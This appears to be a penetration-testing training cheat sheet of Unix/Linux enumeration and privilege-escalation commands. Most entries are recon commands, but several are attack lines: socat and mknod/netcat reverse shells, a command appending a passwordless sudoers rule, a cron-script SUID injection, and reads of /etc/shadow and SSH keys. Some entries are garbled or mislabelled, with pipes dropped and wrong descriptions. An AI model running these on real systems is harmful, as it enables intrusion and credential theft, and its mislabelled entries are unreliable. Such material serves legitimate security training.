



Certified Penetration Testing Professional

Unix/Linux Enumeration Cheat Sheet

Syntax	Command	Description
<code>/usr/bin/rusers [-a] [-l] [-u -h -i] [Host ...]</code>	<code>rusers</code>	Displays a list of users who are logged on to remote machines or machines on the local network
<code>rwho [-a]</code>	<code>rwho</code>	Displays a list of users who are logged in to hosts on the local network
<code>finger [-l] [-m] [-p] [-s] [user ...] [user@host ...]</code>	<code>finger</code>	Displays information about system users such as user's login name, real name, terminal name, idle time, login time, office location, and office phone numbers
<code>uname [options]</code>	<code>Uname -a</code>	Displays OS name and version and other details about the current machine.
<code>pinky [OPTION]... [USER]...</code>	<code>pinky</code>	Displays the information about the users currently logged in
<code>users [OPTION]... [FILE]</code>	<code>users</code>	Displays the information about the users currently logged in
<code>who [options] [filename]</code>	<code>who -a</code>	Displays the information about the users currently logged in
<code>uname [options]</code>	<code>Uname -r</code>	Used to display kernel release
<code>hostname -[option] [file]</code>	<code>hostname</code>	Used to display kernel release
Syntax	Command	Description
<code>uname [options]</code>	<code>Uname -n</code>	Used to display System hostname

<code>env [OPTION]... [-] [NAME=VALUE]... [COMMAND [ARG]...]</code>	<code>Env</code>	Displays all the environmental variables information
<code>sudo OPTION.. COMMAND</code>	<code>sudo -l</code>	Displays all sudo information of the current user
<code>sudo OPTION.. COMMAND</code>	<code>sudo -V</code>	To check Sudo version
<code>pwd [OPTION]...</code>	<code>pwd</code>	Outputs the current working directory path.
<code>ls [options] [file dir]</code>	<code>ls -al</code>	Lists all the files and their permissions in the current directory
<code>ls [options] [file dir]</code>	<code>ls -ahlR /root/</code>	See if you can access other user directories to find interesting files
<code>ls [options] [file dir]</code>	<code>ls -la ~/.*_history</code>	Show the current users' various history files
<code>ls [options] [file dir]</code>	<code>ls -la ~/.ssh/</code>	Check for interesting ssh files in the current users' directory
<code>ls [options] [file dir]</code>	<code>ls -la /root/.*_history</code>	Read root's history files
<code>ls [options] [file dir]</code>	<code>ls -la /usr/sbin/in.*</code>	Check Configuration of inetd services
<code>ls [options] [file dir]</code>	<code>ls -la /etc/cron*</code>	Scheduled jobs overview (hourly, daily, monthly etc)
<code>ls [options] [file dir]</code>	<code>\$ ls -la /etc/cron.d</code>	Prints cron jobs which are already present in cron.d
<code>ls [options] [file dir]</code>	<code>ls -la rootme</code>	Tells us that it is owned by user
<code>ls [options] [file dir]</code>	<code>ls -la /etc/*.conf</code>	Lists .conf files in /etc (recursive 1 level)
<code>ls [options] [file dir]</code>	<code>ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null</code>	Check the permissions and contents of /etc/exports (NFS)

Syntax	Command	Description
<code>ls [options] [file dir]</code>	<code>ls -aRl /etc/cron* awk '\$1 ~ /w.\$/' 2>/dev/null</code>	Check what can 'others' write in /etc/cron* directories
<code>find /home/username/ -name "*.err"</code>	<code>find / -perm /6000 2>/dev/null;</code>	Lists out all the SUID and SGID files
<code>find /home/username/ -name "*.err"</code>	<code>find / -uid 0 -perm -4000 -type f 2>/dev/null</code>	Find SUID files owned by root
<code>find /home/username/ -name "*.err"</code>	<code>find / -perm -4000 - user root -exec ls - ld {} \; 2> /dev/null</code>	Find SUIDs
<code>find /home/username/ -name "*.err"</code>	<code>find / -perm -2000 - group root -exec ls -ld {} \; 2> /dev/null</code>	Find SGID
<code>find /home/username/ -name "*.err"</code>	<code>find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null</code>	Find world-writeable files excluding those in /proc
<code>find /home/username/ -name "*.err"</code>	<code>find / -xdev -type d -perm -0002 -ls 2> /dev/null</code>	Find World Writable Folders
<code>find /home/username/ -name "*.err"</code>	<code>find / -xdev -type f -perm -0002 -ls 2> /dev/null</code>	Find World Writable Files
<code>find /home/username/ -name "*.err"</code>	<code>find / -perm -2 - type d 2>/dev/null</code>	Find word-writeable directories
<code>find /home/username/ -name "*.err"</code>	<code>find /home -name *.rhosts -print 2>/dev/null</code>	Find rhost config files
<code>find /home/username/ -name "*.err"</code>	<code>find /home -iname *.plan -exec ls -la { } ; -exec cat { } 2>/dev/null ;</code>	Find *.plan files, list permissions and cat the file contents
<code>find /home/username/ -name "*.err"</code>	<code>find /etc -iname hosts. equiv -exec ls -la { } 2>/dev/null ; - exec cat { } 2>/dev/null ;</code>	Find hosts.equiv, list permissions and cat the file contents

Syntax	Command	Description
<code>find /home/username/ -name "*.err"</code>	<code>find /var/log -type f -exec ls -la {} ; 2>/dev/null</code>	List files in specified directory (/var/log)
<code>find /home/username/ -name "*.err"</code>	<code>find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o - name "authorized_hosts" - o -name "authorized_keys" 2>/dev/null xargs - r ls -la</code>	Find SSH keys/host information
<code>find /home/username/ -name "*.err"</code>	<code>find / -name %program_name% 2>/dev/null (i.e. nc, netcat, wget, nmap etc)</code>	Locate 'useful' programs (netcat, wget etc)
<code>find /home/username/ -name "*.err"</code>	<code>find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} ; 2>/dev/null</code>	List .conf files in /etc (recursive 1 level)
<code>find /home/username/ -name "*.err"</code>	<code>find / -maxdepth 4 - name *.conf -type f -exec grep -Hn password {} ; 2>/dev/null</code>	Find .conf files (recursive 4 levels) and output line number where the word 'password' is located
<code>cat [OPTION] [FILE]...</code>	<code>cat /etc/passwd</code>	List all the users
<code>cat [OPTION] [FILE]...</code>	<code>cat /etc/group</code>	List all the groups on the system
<code>cat [OPTION] [FILE]...</code>	<code>cat /etc/shadow</code>	Display all the users and their password hashes.
<code>cat [OPTION] [FILE]...</code>	<code>cat ~/.bash_history</code>	Shows the current users' command history
<code>cat [OPTION] [FILE]...</code>	<code>cat /etc/fstab</code>	sed to check fstab
<code>cat [OPTION] [FILE]...</code>	<code>cat /etc/services</code>	Used to check running services
<code>cat [OPTION] [FILE]...</code>	<code>cat /etc/sudoers</code>	Check who's allowed to do what as root – Privileged command

Syntax	Command	Description
<code>cat [OPTION] [FILE]...</code>	<code>cat /proc/version</code>	Used to display kernel information
<code>cat [OPTION] [FILE]...</code>	<code>cat /etc/*-release</code>	Used to display Distribution information
<code>cat [OPTION] [FILE]...</code>	<code>cat /etc/profile</code>	Display default system variables
<code>cat [OPTION] [FILE]...</code>	<code>cat /etc/shells</code>	Display available shells
<code>cat [OPTION] [FILE]...</code>	<code>cat /etc/issue</code>	Used to display Distribution information
<code>cat [OPTION] [FILE]...</code>	<code>cat /proc/cpuinfo</code>	Used to display CPU information
<code>cat [OPTION] [FILE]...</code>	<code>cat /etc/cron*</code>	Used to check cronjobs
<code>cat [OPTION] [FILE]...</code>	<code>cat /etc/inetd.conf</code>	List services managed by inetd
<code>cat [OPTION] [FILE]...</code>	<code>cat /etc/xinetd.conf</code>	List services managed by inetd xinetd
<code>cat [OPTION] [FILE]...</code>	<code>cat /etc/xinetd.conf 2>/dev/null awk '{print \$7}' xargs -r ls -la 2>/dev/null</code>	Extract associated binaries from xinetd.conf and show permissions of each
<code>cat [OPTION] [FILE]...</code>	<code>cat /etc/network/interfaces</code>	Used to list all network interfaces
<code>cat [OPTION] [FILE]...</code>	<code>cat /etc/resolv.conf</code>	View port numbers/services mappings
<code>cat [OPTION] [FILE]...</code>	<code>cat /etc/services</code>	View port numbers/services mappings
<code>cat [OPTION] [FILE]...</code>	<code>cat /etc/apache2/envvars 2>/dev/null grep -i 'user group' awk '{sub(/.*export /, "")}1'</code>	Check which account is Apache running as

<code>id [OPTION]</code>	<code>id</code>	Displays the user ID and group ID of current user
Syntax	Command	Description
<code>whoami [OPTION]</code>	<code>whoami</code>	Outputs the name of the current user
<code>netstat [OPTION]</code>	<code>netstat -antup</code>	Check for open ports
<code>netstat [OPTION]</code>	<code>netstat -antp</code>	Lists all TCP sockets and related PIDs (-p Privileged command)
<code>netstat [OPTION]</code>	<code>netstat -anup</code>	Lists all UDP sockets and related PIDs (-p Privileged command)
<code>netstat [OPTION]</code>	<code>netstat -ano</code>	Lists connections with associated PIDs (Windows specific)
<code>netstat [OPTION]</code>	<code>netstat -tp</code>	Shows connections with service names and process IDs
<code>netstat [OPTION]</code>	<code>netstat -a</code>	Lists all listening and established connection
<code>netstat [OPTION]</code>	<code>netstat -i</code>	Provides interface-related information
<code>ps [OPTIONS]</code>	<code>ps -elf</code>	Check Processes
<code>ps [OPTIONS]</code>	<code>ps -elf grep root</code>	Check processes running without root privileges
<code>ps [OPTIONS]</code>	<code>ps aux grep root</code>	View services running as root
<code>ps [OPTIONS]</code>	<code>ps aux awk '{print \$11}' xargs -r ls -la 2>/dev/null awk '!x[\$0]++'</code>	Lookup process binary path and permissions
<code>Ps [OPTIONS]</code>	<code>ps -A</code>	Lists all running processes across users.

<code>dpkg [option...] action</code>	<code>dpkg -l</code> <code>rpm -qa</code>	Check installed packages
<code>dpkg [option...] action</code>	<code>dpkg -l</code>	Check Installed packages (Debian)
Syntax	Command	Description
<code>dpkg [option...] action</code>	<code>dpkg --list</code> <code>2>/dev/null grep</code> <code>compiler grep -v</code> <code>decompiler</code> <code>2>/dev/null && yum</code> <code>list installed</code> <code>'gcc*' 2>/dev/null </code> <code>grep gcc 2>/dev/null</code>	List available compilers
<code>rpm -qa</code>	<code>rpm -qa</code>	Shows Installed packages (Red Hat)
<code>ip [options] OBJECT COMMAND</code>	<code>ip addr</code>	Check network configuration
<code>socat</code> <code>INPUT_TYPE (OPTIONS)</code> <code>OUTPUT_TYPE (OPTIONS)</code>	<code>\$ socat exec:'bash</code> <code>-</code> <code>li',pty,stderr,setsi</code> <code>d,sigint,sane</code> <code>tcp:10.0.3.4:4444</code>	Used for Listening port using socat
<code>socat INPUT_TYPE</code> <code>(OPTIONS)</code> <code>OUTPUT_TYPE (OPTIONS)</code>	<code>\$ socat</code> <code>file:`tty`,raw,echo=</code> <code>0 tcp-listen:4444</code>	Used for Connecting to the port using socat
<code>mknod device-name</code> <code>device-type major-</code> <code>number</code> <code>minor-number</code>	<code>mknod /tmp/backpipe</code> <code>p;</code> <code>/bin/sh 0<</code> <code>/tmp/backpipe</code> <code> nc <ip> <port> 1></code> <code>/tmp/backpipe; rm</code> <code>/tmp/backpipe</code>	Used for Reverse connection using mknod
<code>dpkg [options]</code> <code>filename</code>	<code>dpkg -l <application</code> <code>name></code>	Check the version of an installed application

<code>username host_list = (users) command</code>	<code>echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers</code>	Edit sudoers file and grant sudo access to the current user with no password
<code>echo [option] [string]</code>	<code>echo \$PATH</code>	Displays Path information
Syntax	Command	Description
<code>echo [option] [string]</code>	<code>echo "chown root:root /tmp/rootme; chmod u+s /tmp/rootme;">/usr/l ocal/sbin/cron- logrotate.sh</code>	Change the executable's owner and group as root. It will also set the SUID bit
<code>df [OPTION]...[FILE]...</code>	<code>df -a</code>	Display File system information
<code>df [OPTION]...[FILE]...</code>	<code>df -h</code>	Check the storage information
<code>for NAME [in WORDS ...] ; do COMMANDS;</code>	<code>for i in \$(cat /etc/passwd 2>/dev/null cut - d":" -f1 2>/dev/null);do id \$i;done 2>/dev/null</code>	List all uid's and respective group memberships
<code>grep [options] pattern [files]</code>	<code>grep -v -E "^#" /etc/passwd awk - F: '\$3 == 0 { print \$1}'</code>	Shows the List all super user accounts
<code>grep [options] pattern [files]</code>	<code>sudo -V grep "Sudo ver" grep "1.6.8p9\ 1.6.9p18\ 1.8.14 \ 1.8.20\ 1.6.9p21\ 1.7.2p4\ 1\ 8\.[0123]\$\ 1\ 3\.[^ 1]\ 1 \ 4\.\d*\ 1\ 5\.\d*\ 1\ 6\.\d*\ 1.5\$\ 1.6\$"</code>	Check if the sudo version is vulnerable using this grep

<code>grep [options] pattern [files]</code>	<code>grep -l -i pass /var/log/*.log 2>/dev/null</code>	Check log files for keywords ('pass' in this example) and show positive matches
<code>w [options] user [...]</code>	<code>w</code>	Check who is currently logged in and what they're doing
<code>last [options] [username...] [tty...]</code>	<code>last</code>	Used for listing of last logged on users
Syntax	Command	Description
<code>lastlog [<-u --user> login-name] [<-t -- time> days] [<-h -- help>]</code>	<code>lastlog</code>	Get the information on when all users last logged in
<code>lastlog [<-u --user> login-name] [<-t -- time> days] [<-h -- help>]</code>	<code>lastlog -u %username%</code>	Gives information on when the specified user last logged in
<code>lastlog [<-u --user> login-name] [<-t -- time> days] [<-h -- help>]</code>	<code>lastlog grep -v "Never"</code>	Shows the entire list of previously logged on users
<code>set [-- abefhkmnptuvxBCHP] [-o option-name] [arg ...]</code>	<code>set</code>	Displays environmental variables
<code>\$ history</code>	<code>history</code>	Displays command history of current user
<code>lsof [option][user name]</code>	<code>lsof -i -n</code>	List open files (output will depend on account privileges)
<code>head [OPTION]... [FILE]...</code>	<code>head /var/mail/root</code>	Read roots mail using this command
<code>crontab [-u user] file</code>	<code>crontab -l -u %username%</code>	Display scheduled jobs for the specified user – Privileged command
<code>\$ top</code>	<code>top</code>	Get the list of current tasks

<code>ifconfig [...OPTIONS] [INTERFACE]</code>	<code>/sbin/ifconfig -a</code>	Lists all network interfaces
<code>arp [-v] [-i if] [-H type] -a [hostname]</code>	<code>arp -a</code>	Display ARP communications
<code>route</code>	<code>route</code>	Display route information
<code>iptables --table TABLE -A/-C/-D... CHAIN rule --jump Target</code>	<code>iptables -L</code>	List rules – Privileged command
Syntax	Command	Description
<code>apachectl command</code>	<code>apache2ctl (or apachectl) -M</code>	List loaded Apache modules
<code>mysql --version</code>	<code>mysql --version</code>	Displays the installed MYSQL version details
<code>psql [option...] [dbname [username]]</code>	<code>psql -v</code>	Provides the installed Postgres version details
<code>\$ perl -v</code>	<code>perl -v</code>	Provides installed Perl version details
<code>java [options] class [argument ...]</code>	<code>java -version</code>	Provides Installed Java version details
<code>python [-d] [-E] [-h] [-i] [-m module-name] [-O] [-Q argument] [-S] [-t] [-u] [-v] [-V] [-W argument] [-x] [-c command script -] [arguments]</code>	<code>python --version</code>	Get Installed Python version details

<pre>ruby [--copyright] [--version] [- Sacdlnpwvy] [- 0[octal]] [-C directory] [-F pattern] [-I directory] [-K c] [- T[level]] [-e command] [- i[extension]] [-r library] [- x[directory]] [--] [program_file] [argument ...]</pre>	<pre>ruby -v</pre>	Get Installed Ruby version details
<pre>which [filename1] [filename2] ...</pre>	<pre>which %program_name% (i.e. nc, netcat, wget, nmap etc)</pre>	Used to locate 'useful' programs (netcat, wget etc)
<pre>screen [-opts] [cmd [args]]</pre>	<pre>screen -ls</pre>	List screen sessions
<pre>screen [-opts] [cmd [args]]</pre>	<pre>screen -dr <session></pre>	Used to attach to a session
Syntax	Command	Description
<pre>tmux [-2CluvV] [-c shell-command] [-f file] [-L socket- name] [-S socket- path] [command [flags]]</pre>	<pre>tmux ls</pre>	Get a list of the currently running sessions
<pre>tmux [-2CluvV] [-c shell-command] [-f file] [-L socket- name] [-S socket- path] [command [flags]]</pre>	<pre>tmux attach-session -t 0</pre>	To attach a session
<pre>timeout [OPTION] DURATION COMMAND [ARG]...</pre>	<pre>timeout 1 tcpdump</pre>	Used to check if you can sniff traffic